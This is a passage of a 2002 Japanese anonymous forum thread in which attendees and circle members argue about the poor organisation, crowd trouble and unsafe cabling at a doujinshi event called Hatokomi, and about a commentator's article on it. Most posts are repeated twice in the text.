酷い荒らしに遭った訳でもないのに掲示板を閉鎖して、自分への意見から目をそらし耳を塞いでいる彼は、
リーフと全く同じ立場に成り下がったと言わざるを得ませんな。
>>592
烈しく同意。
あれ程「参加者」を人間扱いされなかったイベントだったら、自嘲的に「三等」って言いたくなりますわ。
595 ：名無しさん＠どーでもいいことだが。：02/12/08 04:07 ID:4f9G9uiT
何でこの時期にあんなモン書いたんだろ…
年越えるまでダンマリしとけば皆忘れたと思うんだが(w
年越えるまでダンマリしとけば皆忘れたと思うんだが(w
596 ：名無しさん＠どーでもいいことだが。：02/12/08 08:47 ID:Bd21vX3K
ｽﾀｰﾌ＆ｻｸｰﾙとｲﾊﾟｰﾝとの乖離についても、
ｲﾊﾟｰﾝの意識の変化＝満足のいく買い物さえできればｏｋという「お客様化」に、
一方的に原因を押し付けている感じで萎え。
話はそれるが、もし、あれだけの数のｲﾊﾟｰﾝが当日になっていきなり、
「我々も同人誌即売会という『場』を作る一員ですとか」言い出して、
イベントやｻｸｰﾙに対して「交流」を求める行動に出たりしたら、
困るのはそちらだろうと小１時間（以下略
ｲﾊﾟｰﾝの意識の変化＝満足のいく買い物さえできればｏｋという「お客様化」に、
一方的に原因を押し付けている感じで萎え。
話はそれるが、もし、あれだけの数のｲﾊﾟｰﾝが当日になっていきなり、
「我々も同人誌即売会という『場』を作る一員ですとか」言い出して、
イベントやｻｸｰﾙに対して「交流」を求める行動に出たりしたら、
困るのはそちらだろうと小１時間（以下略
597 ：名無しさん＠どーでもいいことだが。：02/12/08 09:05 ID:kD9Krf54
三崎たんも必死だったんだよ。
「とても割に合わないんですけどねぇ（爆笑）。」なんて
明らかに感情的になって理性的な反論ができてないことの現われじゃん。
この件に関しては、三崎たんは口を開くたびに自分の価値を落としていると思われ。
ZQNもYQNも残虐も、当人の言説と本の価値に大きな関連はないからサークルと
して大きな被害が発生したかどうかは怪しいけど、三崎たんが出す本の価値は
その言説そのものに大きく依存してるということを考えると、あまりに軽率で愚かすぎる。
「とても割に合わないんですけどねぇ（爆笑）。」なんて
明らかに感情的になって理性的な反論ができてないことの現われじゃん。
この件に関しては、三崎たんは口を開くたびに自分の価値を落としていると思われ。
ZQNもYQNも残虐も、当人の言説と本の価値に大きな関連はないからサークルと
して大きな被害が発生したかどうかは怪しいけど、三崎たんが出す本の価値は
その言説そのものに大きく依存してるということを考えると、あまりに軽率で愚かすぎる。
598 ：名無しさん＠どーでもいいことだが。：02/12/08 09:43 ID:WUtdCW7a
俺は思う。
最近のｲﾊﾟｰﾝは、あまり物欲が無い。
つーか、買えないとあきらめてくるﾔｼが多い。
逆に、ｻｸｰﾙとｽﾀｰﾌの｢満足のいく買い物さえできればｏｋというお客様化」が目立つ。
みんな、わかってるだろうに。
「本を買うためにｽﾍﾟｰｽ取ってます｣って言えよ。＞ﾍﾀﾚｺﾋﾟ本ｻｸｰﾙ
「一冊じゃ転売用を確保できないから、大量に取り置きしてもらってます」
「大手ｻｸｰﾙの取り置き分がほしくてｽﾀｰﾌになりました」って言えよ。＞開場10分で休憩に入るｽﾀｰﾌ
「ｼｬｯﾀｰ前に列を作っているのは、ｽﾀｰﾌとｻｸｰﾙ関係者がほとんどです｣
「それを言っちゃうとｲﾊﾟｰﾝに叩かれるので、『ﾁｹで入った疥癬』ってことにしています｣って言えよ。＞ｽﾀｰﾌ＆ｻｸｰﾙ
最近のｲﾊﾟｰﾝは、あまり物欲が無い。
つーか、買えないとあきらめてくるﾔｼが多い。
逆に、ｻｸｰﾙとｽﾀｰﾌの｢満足のいく買い物さえできればｏｋというお客様化」が目立つ。
みんな、わかってるだろうに。
「本を買うためにｽﾍﾟｰｽ取ってます｣って言えよ。＞ﾍﾀﾚｺﾋﾟ本ｻｸｰﾙ
「一冊じゃ転売用を確保できないから、大量に取り置きしてもらってます」
「大手ｻｸｰﾙの取り置き分がほしくてｽﾀｰﾌになりました」って言えよ。＞開場10分で休憩に入るｽﾀｰﾌ
「ｼｬｯﾀｰ前に列を作っているのは、ｽﾀｰﾌとｻｸｰﾙ関係者がほとんどです｣
「それを言っちゃうとｲﾊﾟｰﾝに叩かれるので、『ﾁｹで入った疥癬』ってことにしています｣って言えよ。＞ｽﾀｰﾌ＆ｻｸｰﾙ
599 ：名無しさん＠どーでもいいことだが。：02/12/08 10:05 ID:bzK7uwdy
まぁ、よく考えてみればスタッフかサークルに関係あるから
チケットが手に入るんだしな。
徹夜しない一般もたしかに物欲とかないヤツ多いのかも。
買えなかったとか騒ぐヤツも、一般の人数考えればごく一部だし。
最近のエライさんの語る一般像はこのごく一部のような気がするね。
どっちかというと、最近のちゃんとした一般は大人しいわな。スタッフの言うこと聞くし。
もう最近ではないかもしれないけど、あの抜け道・手落ち満載だったリアルこみパで
すら大人しく並んでた姿が正しい一般像かな。カギ相手ても空家には入らんというか。
まぁ、あのイベントでは早く入場してた連中は崩壊したんだが（ｗ
チケットが手に入るんだしな。
徹夜しない一般もたしかに物欲とかないヤツ多いのかも。
買えなかったとか騒ぐヤツも、一般の人数考えればごく一部だし。
最近のエライさんの語る一般像はこのごく一部のような気がするね。
どっちかというと、最近のちゃんとした一般は大人しいわな。スタッフの言うこと聞くし。
もう最近ではないかもしれないけど、あの抜け道・手落ち満載だったリアルこみパで
すら大人しく並んでた姿が正しい一般像かな。カギ相手ても空家には入らんというか。
まぁ、あのイベントでは早く入場してた連中は崩壊したんだが（ｗ
600 ：名無しさん＠どーでもいいことだが。：02/12/08 10:08 ID:1ySQCGSD
確かにそうだな。
でもよ、拡大とか△とかに毎週出席した挙げ句開場から四時過ぎまで休み無しでいるスタッフも確実に存在するんだよな…
ﾍﾀﾚだろうが只本当に本を見てほしいからと出ているﾔｼもいる。
最近のｲﾊﾟｰﾝはあまり物欲がない？
みんなちゃん様とかに突貫してそれだけ買えれば満足なんだろ(;´Д`)
ﾓﾚ、サークル参加でしたけど一般の列が外に流れていく（323とあいちょこ？）のを(ﾟдﾟ)ﾎﾟｶｰﾝと眺めているだけでしたが何か？
ま、確かに在庫抱えるあたりﾍﾀﾚサークルではありますが(;´Д`)
でもよ、拡大とか△とかに毎週出席した挙げ句開場から四時過ぎまで休み無しでいるスタッフも確実に存在するんだよな…
ﾍﾀﾚだろうが只本当に本を見てほしいからと出ているﾔｼもいる。
最近のｲﾊﾟｰﾝはあまり物欲がない？
みんなちゃん様とかに突貫してそれだけ買えれば満足なんだろ(;´Д`)
ﾓﾚ、サークル参加でしたけど一般の列が外に流れていく（323とあいちょこ？）のを(ﾟдﾟ)ﾎﾟｶｰﾝと眺めているだけでしたが何か？
ま、確かに在庫抱えるあたりﾍﾀﾚサークルではありますが(;´Д`)
601 ：名無しさん＠どーでもいいことだが。：02/12/08 12:33 ID:l7va0c4Q
>みんなちゃん様とかに突貫してそれだけ買えれば満足なんだろ(;´Д`)
それをいうなよ。( ´Д`)
自分が相手に興味を持ってもらえないのは相手のせいじゃないんだ。
自分に魅力がないからだ。( ´Д`)
相手が悪いなんてすこしでも思ってる奴はいつまでもかわらないよ。
それをいうなよ。( ´Д`)
自分が相手に興味を持ってもらえないのは相手のせいじゃないんだ。
自分に魅力がないからだ。( ´Д`)
相手が悪いなんてすこしでも思ってる奴はいつまでもかわらないよ。
602 ：名無しさん＠どーでもいいことだが。：02/12/08 12:35 ID:indwZzx0
603 ：名無しさん＠どーでもいいことだが。：02/12/08 13:11 ID:vf4/md+B
うーん・・・いくら三崎に何故自分で自分を貶めるか
と言われたからって物欲が無いって返してもなぁ。
ルールを守ることは物欲を捨てる事とは違うとおもうんだが・・・
どっちかというと物欲が無いのではなく探究心を失ってる人が多い気はする。
一定の決まったサークルを買えれば満足して
買えなければ鬱憤をためてさっさと帰る
島中や他の壁に新規開拓をしてる人は減ったなと感じるが。
こういう俺も一部しか見てないのかもしれんけどな。
と言われたからって物欲が無いって返してもなぁ。
ルールを守ることは物欲を捨てる事とは違うとおもうんだが・・・
どっちかというと物欲が無いのではなく探究心を失ってる人が多い気はする。
一定の決まったサークルを買えれば満足して
買えなければ鬱憤をためてさっさと帰る
島中や他の壁に新規開拓をしてる人は減ったなと感じるが。
こういう俺も一部しか見てないのかもしれんけどな。
604 ：名無しさん＠どーでもいいことだが。：02/12/08 13:26 ID:yQFuBdsf
>601
いや、そんなことはわかってまつので日々修練に励んでいる毎日です(´д`)＞人のせいにする気は無いんだ、そう見えたらｽﾏﾝ
それでもさ、少しは他の大手サークル（中にもbolze.なりウロボなりがいた）に確率的には流れてもおかしくないじゃないですか？
それがほぼ一直線に外（ちゃん様とか）に向かっていく光景を想像してくだちぃ（汗）
もうね（以下略
いや、そんなことはわかってまつので日々修練に励んでいる毎日です(´д`)＞人のせいにする気は無いんだ、そう見えたらｽﾏﾝ
それでもさ、少しは他の大手サークル（中にもbolze.なりウロボなりがいた）に確率的には流れてもおかしくないじゃないですか？
それがほぼ一直線に外（ちゃん様とか）に向かっていく光景を想像してくだちぃ（汗）
もうね（以下略
605 ：名無しさん＠どーでもいいことだが。：02/12/08 13:28 ID:E2pTG6Ck
とりあえず、あげとくか。
ビッグサイトで誰か刺されたりしてなきゃいいが・・・。
ビッグサイトで誰か刺されたりしてなきゃいいが・・・。
606 ：名無しさん＠どーでもいいことだが。：02/12/08 14:26 ID:I5Dsspzv
>>603
物欲の強いヤツはルール守らないで手に入れるか、ネットで騒ぐからな。
単純な証明で、ルール守って不満も言わないヤツは物欲が少ない。
あるいは、すごく我慢強い。
つか、自分を貶める話と物欲の話はぜんぜん関係ない気がするが。
物欲の強いヤツはルール守らないで手に入れるか、ネットで騒ぐからな。
単純な証明で、ルール守って不満も言わないヤツは物欲が少ない。
あるいは、すごく我慢強い。
つか、自分を貶める話と物欲の話はぜんぜん関係ない気がするが。
607 ：名無しさん＠どーでもいいことだが。：02/12/08 16:09 ID:iC/xAso7
三崎ﾀﾝはハトコミでは部外者だからなぁ（詭弁に近いとは思うが）
第三者の立場からはあの程度の批判しか出来ないんじゃねーの？
一般入場してないのに入場待ちの牛歩叩くわけにもいかないし
サークル者としては館内はまったりしてて寒いくらいだったのから不手際ageる必要ないし
>604
中に向かったﾔｼの半数があ○すとち○こ目当てだったので、更に人が残らない罠(´д`)
第三者の立場からはあの程度の批判しか出来ないんじゃねーの？
一般入場してないのに入場待ちの牛歩叩くわけにもいかないし
サークル者としては館内はまったりしてて寒いくらいだったのから不手際ageる必要ないし
>604
中に向かったﾔｼの半数があ○すとち○こ目当てだったので、更に人が残らない罠(´д`)
608 ：名無しさん＠どーでもいいことだが。：02/12/08 16:35 ID:l7va0c4Q
>>604
変なかおもじはさておき、604が何を思ってるのかいまだによくわからんよ。
スマンといってるわりには結局本文が嫉妬に見えてどうもね。
俺は他の大手に列が分散しようがカッタに集中しようが、ああ、他所は大変だなあくらいにしか思わんが。
ぶっちゃけ、一般参加者の9割がカッタだけ買ってすぐ帰っていったとしても、
一般参加者がおかしいみたいなこと（600のみんなちゃん様とかに～とか、もうね（以下略とか）はいえないと思うな。
変なかおもじはさておき、604が何を思ってるのかいまだによくわからんよ。
スマンといってるわりには結局本文が嫉妬に見えてどうもね。
俺は他の大手に列が分散しようがカッタに集中しようが、ああ、他所は大変だなあくらいにしか思わんが。
ぶっちゃけ、一般参加者の9割がカッタだけ買ってすぐ帰っていったとしても、
一般参加者がおかしいみたいなこと（600のみんなちゃん様とかに～とか、もうね（以下略とか）はいえないと思うな。
609 ：名無しさん＠どーでもいいことだが。：02/12/08 16:42 ID:yQFuBdsf
>607
そうだったのか…
漏れは比較的入り口に近かったので入場時のゴタゴタを直に見てたしなぁ・・・（一般の前の奴らが雪崩れ込んできたのを押し返したり、とか。）
あいちょこも外に列作っていたと聞いたんだが違ったのか…
そうだったのか…
漏れは比較的入り口に近かったので入場時のゴタゴタを直に見てたしなぁ・・・（一般の前の奴らが雪崩れ込んできたのを押し返したり、とか。）
あいちょこも外に列作っていたと聞いたんだが違ったのか…
610 ：名無しさん＠どーでもいいことだが。：02/12/08 16:54 ID:JqPcxXfP
一般列がとまった理由をここまで知らんやつらの群れだと
ｽﾀｰﾌもやってられんだろうな、はぁ。
俺も入り口近くだっただけで全部見たわけじゃないが
ｽﾀｰﾌもやってられんだろうな、はぁ。
俺も入り口近くだっただけで全部見たわけじゃないが
611 ：名無しさん＠どーでもいいことだが。：02/12/08 17:05 ID:yQFuBdsf
>608
それは一般人は物欲がない、ということに対してのレスなので別に一般参加者をおかしい、と言ってるわけではないっす。
んで、それで結構な人数が外に吸い込まれていってそれで大体現場が落ち着いて来た頃に「～の本買えなかったよ、クソ…」とか文句垂れてるのをみるともにょりとするだけです、えぇ。
ｵﾏｴ最初に外逝ったんちゃうんか、と。
本文が嫉妬じみているのは俺の文の書き方がアレなだけだと思います、多分。
それは一般人は物欲がない、ということに対してのレスなので別に一般参加者をおかしい、と言ってるわけではないっす。
んで、それで結構な人数が外に吸い込まれていってそれで大体現場が落ち着いて来た頃に「～の本買えなかったよ、クソ…」とか文句垂れてるのをみるともにょりとするだけです、えぇ。
ｵﾏｴ最初に外逝ったんちゃうんか、と。
本文が嫉妬じみているのは俺の文の書き方がアレなだけだと思います、多分。
612 ：名無しさん＠どーでもいいことだが。：02/12/08 17:18 ID:iC/xAso7
>609
一般で入った人は列が外にあるってことを知らないから七尾のスペースに詰めかけてたよ
もちろんそのまま外へ押し寄せたわけだが......
一般で入った人は列が外にあるってことを知らないから七尾のスペースに詰めかけてたよ
もちろんそのまま外へ押し寄せたわけだが......
613 ：名無しさん＠どーでもいいことだが。：02/12/08 17:32 ID:dLkGmg/C
>610
列の最初のほうのヤシらは、スタッフのリークによってできた徹夜組だろ。
つーか、前にいたヤシのほとんどが、スタッフの関係者じゃん。
ある意味、自業自得では？
列の最初のほうのヤシらは、スタッフのリークによってできた徹夜組だろ。
つーか、前にいたヤシのほとんどが、スタッフの関係者じゃん。
ある意味、自業自得では？
614 ：610：02/12/08 19:36 ID:JqPcxXfP
>>613
…はぁ、本気でもにょるな。
たとえば一回とまったのは海鮮の馬鹿どもが走ったせいで
下にあった配線（ガムテープではってあったあれ）を蹴り飛ばして
非常に危険な状態になったとか、そういうのは見てただろ？
一般とめて必死にｽﾀｰﾌが直してるのは中にいた俺からだって見えたし。
で、もにょるのはこういう事実を知りながら無知な一般をあおるために
わざと黙ってる「多数の」サークル参加者と、
自分がほしかった本が買えなかったごときで
こうした正しい事実を黙殺する海鮮の態度にあるわけで。
ハトコミは腐れイベントだが、事実以上の非難はいただけないと思うが？
…はぁ、本気でもにょるな。
たとえば一回とまったのは海鮮の馬鹿どもが走ったせいで
下にあった配線（ガムテープではってあったあれ）を蹴り飛ばして
非常に危険な状態になったとか、そういうのは見てただろ？
一般とめて必死にｽﾀｰﾌが直してるのは中にいた俺からだって見えたし。
で、もにょるのはこういう事実を知りながら無知な一般をあおるために
わざと黙ってる「多数の」サークル参加者と、
自分がほしかった本が買えなかったごときで
こうした正しい事実を黙殺する海鮮の態度にあるわけで。
ハトコミは腐れイベントだが、事実以上の非難はいただけないと思うが？
615 ：名無しさん＠どーでもいいことだが。：02/12/08 19:44 ID:8SOqekTq
もにょるって？
そして中からって、どこにいたの？
そして中からって、どこにいたの？
616 ：名無しさん＠どーでもいいことだが。：02/12/08 20:27 ID:1G6tYiao
>614
どうかな、俺はサークル参加したけれど大半のサークルは自分の回りのところしか見えな
いので、言えないのだと思うが。
俺は開場直後に一般参加者が来ないので、入場口のところに見に行ったが、何かスタッフ
が一般参加者を止めてゴソゴソ作業をしているのを見ていたが、それが何かは見に行った
俺でもよくわからなかった。大方のサークルはそんなものだと思う。正直言って自分の
サークルのことだけで精一杯よ。ただ、俺も目の前を通過していった一般参加者の波を見
ていたので、あれで何か言われても納得は出来ない気分かな。外に出て行く波は最初から
最後までそんなに変わらなかったな、別に非難するつもりは無いけれどね。
どうかな、俺はサークル参加したけれど大半のサークルは自分の回りのところしか見えな
いので、言えないのだと思うが。
俺は開場直後に一般参加者が来ないので、入場口のところに見に行ったが、何かスタッフ
が一般参加者を止めてゴソゴソ作業をしているのを見ていたが、それが何かは見に行った
俺でもよくわからなかった。大方のサークルはそんなものだと思う。正直言って自分の
サークルのことだけで精一杯よ。ただ、俺も目の前を通過していった一般参加者の波を見
ていたので、あれで何か言われても納得は出来ない気分かな。外に出て行く波は最初から
最後までそんなに変わらなかったな、別に非難するつもりは無いけれどね。
617 ：名無しさん＠どーでもいいことだが。：02/12/08 21:03 ID:j4LngpGn
つか、一般の通り道の配線を蹴っ飛ばしたくらいで剥がれてしまう
処理だったのは大失態だろ？ 事故ったら間違いなく管理責任問われるぞ？
ヘタすれば大惨事。運がよかったね。
処理だったのは大失態だろ？ 事故ったら間違いなく管理責任問われるぞ？
ヘタすれば大惨事。運がよかったね。
618 ：名無しさん＠どーでもいいことだが。：02/12/08 21:22 ID:FdWsocxI
大型サークルが入るなら前もってそれなりに計画を練るけどな、
過去の実績等を鑑みてさ。
主催だってそれほど無知だったわけじゃあるまいに･･･。
過去の実績等を鑑みてさ。
主催だってそれほど無知だったわけじゃあるまいに･･･。
619 ：名無しさん＠どーでもいいことだが。：02/12/08 21:43 ID:LR1ZCdzP
>>617
私もそう思うよ。その時の責任取る為にＩ川氏がいたんじゃないかな。
Ｎ野他このスレで名前のあがってる、中？Ｔ？Ｃ？あたりは非常に
恵まれてるんではなかろうか。自分がどじったときに代わりに刑務所に
入ってくれる人がいたんだから。正直、コミケやレヴォ以外で対外責任者？
としては使って欲しくはない方だと思われ。
>>618
計画練ってたようには見えなかったね。ありゃ、もう、なんていうか（以下略）
私もそう思うよ。その時の責任取る為にＩ川氏がいたんじゃないかな。
Ｎ野他このスレで名前のあがってる、中？Ｔ？Ｃ？あたりは非常に
恵まれてるんではなかろうか。自分がどじったときに代わりに刑務所に
入ってくれる人がいたんだから。正直、コミケやレヴォ以外で対外責任者？
としては使って欲しくはない方だと思われ。
>>618
計画練ってたようには見えなかったね。ありゃ、もう、なんていうか（以下略）
620 ：名無しさん＠どーでもいいことだが。：02/12/08 21:49 ID:Cr2jMhV5
これまでの議論をみていると一般参加者が全員海鮮とは限らないことに
気づいていないような･･･。
確かに海鮮＆転売屋率の高いイベントではあったけどな。
気づいていないような･･･。
確かに海鮮＆転売屋率の高いイベントではあったけどな。
621 ：名無しさん＠どーでもいいことだが。：02/12/08 21:50 ID:2xOma2cp
>下にあった配線（ガムテープではってあったあれ）
こんな杜撰な処理じゃ、なんの言い訳も出来ないよな。疥癬が走った？
走らせないようにする対策も出来てないって事だよな。少し前に物欲云々の話が
出てたけど、参加サークルから見てマタ－リ進行出来ると本気でスタッフが思って
たんなら相当のDQNだな。だいたいﾊﾄｺﾐに来た面子と他の同人イベントに本買いに
行ってる面子がどう違う？
もともと同人作るヤツも買いに来るヤツもほとんどDQNばっかなんだから、トラブルは
「起きるモノ」と想定せな。危機意識の欠片もない奴に仕切れるワケねーだろ。
こんな杜撰な処理じゃ、なんの言い訳も出来ないよな。疥癬が走った？
走らせないようにする対策も出来てないって事だよな。少し前に物欲云々の話が
出てたけど、参加サークルから見てマタ－リ進行出来ると本気でスタッフが思って
たんなら相当のDQNだな。だいたいﾊﾄｺﾐに来た面子と他の同人イベントに本買いに
行ってる面子がどう違う？
もともと同人作るヤツも買いに来るヤツもほとんどDQNばっかなんだから、トラブルは
「起きるモノ」と想定せな。危機意識の欠片もない奴に仕切れるワケねーだろ。
622 ：名無しさん＠どーでもいいことだが。：02/12/08 21:59 ID:indwZzx0
>614
おばかさんですね（ｗ
おばかさんですね（ｗ
623 ：名無しさん＠どーでもいいことだが。：02/12/08 22:25 ID:s/Ao/X0A
613は論外だが614は言い過ぎ
一番悪いのは事後報告すらしない無責任なﾊﾄｺﾐ準備会だろ
まず責任者と問い合わせ先くらいは公開しろっつーの
一番悪いのは事後報告すらしない無責任なﾊﾄｺﾐ準備会だろ
まず責任者と問い合わせ先くらいは公開しろっつーの
624 ：名無しさん＠どーでもいいことだが。：02/12/09 01:01 ID:53MLMTJj
>621
っつーより、アレ開場前に一般が雪崩れ込もうとしたんちゃうんか？
会場直前にワっと何かの音とスタッフの声がしたんだが…
詳しくは見えなかったけど、スタッフが一般を押し返している状態ですたが・・・
っつーより、アレ開場前に一般が雪崩れ込もうとしたんちゃうんか？
会場直前にワっと何かの音とスタッフの声がしたんだが…
詳しくは見えなかったけど、スタッフが一般を押し返している状態ですたが・・・
625 ：名無しさん＠どーでもいいことだが。：02/12/09 01:25 ID:UyvtN/xh
そんなことより『もにょる』って意味を知りたい。
だれかおながいします。。。
だれかおながいします。。。
626 ：名無しさん＠どーでもいいことだが。：02/12/09 01:48 ID:VQWsilqy
>625
何とも言葉で表現しにくい違和感を表す言葉
と俺は解釈してる
何とも言葉で表現しにくい違和感を表す言葉
と俺は解釈してる
627 ：名無しさん＠どーでもいいことだが。：02/12/09 01:56 ID:VQWsilqy
>607
MQNはハトコミではただのサークル参加だったかもしれんが
ハトコミスタッフは多くがコミケやレヴォのスタッフで構成されていて
内幕とかも知ってたみたいだから全くの第三者とは言いがたいのでは
あいちょこやカッタを名指しで「混雑の戦犯」みたいに挙げておきながら
主催の名前を一切出さない、あまつさえ「愛すべきところがある人だから許せ」
なんて擁護をかますくらいだから、主催とはかなり懇意にしてると見るのが自然
そもそも、「同人誌文化総合研究所」なんつー仰々しいサイト作って
本当に第三者である種々のイベントをばっさばっさと批判して
「同人界のご意見番」気取って置きながら
いまさら「第三者だから批判できない」はないでしょう
>614
そんな導線上にそんなものを配置した時点でどうかと思われ……
つーか、それマジで危険な状況だから、いったん全サークル販売中止して
安全策を講じる必要性があったんじゃないか
その後特に事故がなかったから良かったようなものの
MQNはハトコミではただのサークル参加だったかもしれんが
ハトコミスタッフは多くがコミケやレヴォのスタッフで構成されていて
内幕とかも知ってたみたいだから全くの第三者とは言いがたいのでは
あいちょこやカッタを名指しで「混雑の戦犯」みたいに挙げておきながら
主催の名前を一切出さない、あまつさえ「愛すべきところがある人だから許せ」
なんて擁護をかますくらいだから、主催とはかなり懇意にしてると見るのが自然
そもそも、「同人誌文化総合研究所」なんつー仰々しいサイト作って
本当に第三者である種々のイベントをばっさばっさと批判して
「同人界のご意見番」気取って置きながら
いまさら「第三者だから批判できない」はないでしょう
>614
そんな導線上にそんなものを配置した時点でどうかと思われ……
つーか、それマジで危険な状況だから、いったん全サークル販売中止して
安全策を講じる必要性があったんじゃないか
その後特に事故がなかったから良かったようなものの
628 ：名無しさん＠どーでもいいことだが。：02/12/09 02:02 ID:UyvtN/xh
629 ：名無しさん＠どーでもいいことだが。：02/12/09 02:05 ID:i4UHMHAa
2ch用語だと思ったが・・・＞もにょる
試しにガイシュツとか言ったら628にさんざん罵倒されたあげく掘られそう。
試しにガイシュツとか言ったら628にさんざん罵倒されたあげく掘られそう。
630 ：名無しさん＠どーでもいいことだが。：02/12/09 02:20 ID:pPxQnhYY
『もにょる』
同人板特有の用語。
「心や気持ちが、何とも言えずに『もにょもにょ』する状態」を指す。
俺は学生時代から使っていたが、珍しい言語だと知ったのは
2Chに来てからｗ
同人板特有の用語。
「心や気持ちが、何とも言えずに『もにょもにょ』する状態」を指す。
俺は学生時代から使っていたが、珍しい言語だと知ったのは
2Chに来てからｗ
631 ：名無しさん＠どーでもいいことだが。：02/12/09 02:36 ID:UyvtN/xh
>>629
そんなに有名だったのか・・・スマソ
そんなに有名だったのか・・・スマソ
632 ：同人板住人古参兵（嘘）：02/12/09 05:03 ID:zHpGw9iq
もにょるとは、同人板の「ヘボい本を読むと」というスレから生まれた言葉だったはず。
過去スレを読んで理解してくれ。
http://piza.2ch.net/doujin/kako/964/964785373.html
過去スレを読んで理解してくれ。
http://piza.2ch.net/doujin/kako/964/964785373.html
633 ：同人板住人古参兵（嘘）：02/12/09 05:05 ID:zHpGw9iq
634 ：名無しさん＠どーでもいいことだが。：02/12/09 10:12 ID:J+qNF3RN
ここが2ch用語ネタで話の腰を折る工作員が居るスレですか？
635 ：名無しさん＠どーでもいいことだが。：02/12/09 12:38 ID:btCWcQnP
>>634
ひねくれ過ぎ。
ひねくれ過ぎ。
636 ：名無しさん＠どーでもいいことだが。：02/12/09 12:45 ID:0NsR5Lfc
そんなこんなで、冬コミまで２０日をきりました。
637 ：名無しさん＠どーでもいいことだが。：02/12/09 17:47 ID:jW/QDgUn
相変わらずどこも動かんな
総研以外はもう無かった事にしようとしているのか
総研以外はもう無かった事にしようとしているのか
638 ：名無しさん＠どーでもいいことだが。：02/12/09 18:06 ID:J+qNF3RN
どこも、っても主催者側しか動く意味ないしな。
そして、動く気は毛頭なさそうに見える。その方が利口だし。
そして、動く気は毛頭なさそうに見える。その方が利口だし。
639 ：名無しさん＠どーでもいいことだが。：02/12/09 18:21 ID:jW/QDgUn
今気がついたが、真性マルチが総研の記事をよい事書いてるって言ってるな
怒られそうだからこれ以上かかねえって・・・
何のためにホームページやってるんだ？コイツ
怒られそうだからこれ以上かかねえって・・・
何のためにホームページやってるんだ？コイツ
640 ：名無しさん＠どーでもいいことだが。：02/12/09 19:35 ID:J+qNF3RN
>>639
少なくとも燃料補給の為で無いことは確かだな(w
三崎たんのあれはどう見ても燃料投下としか思えなかったが。
つーか、自分の身元を晒してまでやる気が無いのは擁護派も
批判派も一緒だろ。サークルは今後の即売会参加に響きかねないから
批判も擁護もしたくないんだよ、実際。しかも真性は一回叩かれてるだろ？
サークルの立場として言えば、中に居たら外の状況なんて判らんし、
ここで語られてた一般の状況だって最初のうちはどの程度までネタなのかも
判らん。それで正直に感想書いて叩かれたんじゃ目も当てられんわな。
ま、今じゃ双方の状況も判ったし、その上で主催者側から何の情報も出てこないなら
語るべきことが少なくなるのも道理だろ。
少なくとも燃料補給の為で無いことは確かだな(w
三崎たんのあれはどう見ても燃料投下としか思えなかったが。
つーか、自分の身元を晒してまでやる気が無いのは擁護派も
批判派も一緒だろ。サークルは今後の即売会参加に響きかねないから
批判も擁護もしたくないんだよ、実際。しかも真性は一回叩かれてるだろ？
サークルの立場として言えば、中に居たら外の状況なんて判らんし、
ここで語られてた一般の状況だって最初のうちはどの程度までネタなのかも
判らん。それで正直に感想書いて叩かれたんじゃ目も当てられんわな。
ま、今じゃ双方の状況も判ったし、その上で主催者側から何の情報も出てこないなら
語るべきことが少なくなるのも道理だろ。
641 ：名無しさん＠どーでもいいことだが。：02/12/09 20:14 ID:E8hRvaJE
>>640
語る事が少なくなるのと中途半端に煽りみたいな記事をHPに載せるのとは
全く別問題だと思うが。
怒られるから書かないのならそもそも全く触れない方が利口だし
これ以上触れない宣言したにも関わらずこんな事書く意味が解らん
道理に沿ってるのか？これは。
語る事が少なくなるのと中途半端に煽りみたいな記事をHPに載せるのとは
全く別問題だと思うが。
怒られるから書かないのならそもそも全く触れない方が利口だし
これ以上触れない宣言したにも関わらずこんな事書く意味が解らん
道理に沿ってるのか？これは。
642 ：名無しさん＠どーでもいいことだが。：02/12/09 20:20 ID:J+qNF3RN
>>641
ま、あんだけ叩かれたんだ。捨て台詞と思えば良いだろう？(w
俺だったら最初の叩かれた日記すら書かないけどな。
筆禍、舌禍の類は周りでよく見てるから。
でもな、今ここに来て真性を叩きたい、と思ってると
したら相当な粘着だと思うぜ。
哀れなアホの捨て台詞すら聞き流せないか？
ま、あんだけ叩かれたんだ。捨て台詞と思えば良いだろう？(w
俺だったら最初の叩かれた日記すら書かないけどな。
筆禍、舌禍の類は周りでよく見てるから。
でもな、今ここに来て真性を叩きたい、と思ってると
したら相当な粘着だと思うぜ。
哀れなアホの捨て台詞すら聞き流せないか？
643 ：名無しさん＠どーでもいいことだが。：02/12/09 20:32 ID:E8hRvaJE
んー、ていうか哀れなアフォの捨てぜりふなら叩いておこうと思うんだけどな。
644 ：名無しさん＠どーでもいいことだが。：02/12/09 20:34 ID:udEQRi+s
哀れなアフォしか残ってないとも言う
645 ：名無しさん＠どーでもいいことだが。：02/12/09 20:40 ID:J+qNF3RN
余裕無いなぁ(w
水に落ちた犬は叩け、か？
水に落ちた犬は叩け、か？
646 ：名無しさん＠どーでもいいことだが。：02/12/09 20:40 ID:J+qNF3RN
頭良い奴は忘れたことにして冬コミ準備してるよな(w
647 ：名無しさん＠どーでもいいことだが。：02/12/09 21:01 ID:qBRCL2NS
所詮真性はその名のとおり真性だったと。
で、すぐ冬がきて冬のどたばたでハトコミの件は闇に消えると・・・
えらい人はそう思ってるんだろうけど
リアルこみパが何故いまでも語り草になってるんだろうかねぇ。
で、すぐ冬がきて冬のどたばたでハトコミの件は闇に消えると・・・
えらい人はそう思ってるんだろうけど
リアルこみパが何故いまでも語り草になってるんだろうかねぇ。
648 ：名無しさん＠どーでもいいことだが。：02/12/09 21:13 ID:EMt1Ap73
冬はちゃんこだのZQNだのヲチ対象が多いけど、スペース空けて見に行く程の
もんでもないしなぁ…コピー本でもう一冊作るか。
もんでもないしなぁ…コピー本でもう一冊作るか。
649 ：名無しさん＠どーでもいいことだが。：02/12/09 21:16 ID:J+qNF3RN
650 ：名無しさん＠どーでもいいことだが。：02/12/09 21:19 ID:E8hRvaJE
ハトコミはこれまで露見した事で十分成果はあったしな
651 ：名無しさん＠どーでもいいことだが。：02/12/09 21:27 ID:WNTSnHAi
かってリアルこみパを主催したＣＰＳがその件で散々叩かれたあと
以前と比べてまともな運営団体になった事を考えればどこかで
断罪し反省を促す声が無ければこのまま即売会自体が死を迎えそうな
気がするが･･･。
一番悪いのはろくに反省もせずこのまま逃げちゃう主催者だよなあ。
以前と比べてまともな運営団体になった事を考えればどこかで
断罪し反省を促す声が無ければこのまま即売会自体が死を迎えそうな
気がするが･･･。
一番悪いのはろくに反省もせずこのまま逃げちゃう主催者だよなあ。
652 ：名無しさん＠どーでもいいことだが。：02/12/10 00:00 ID:2Xk80j/X
>>651
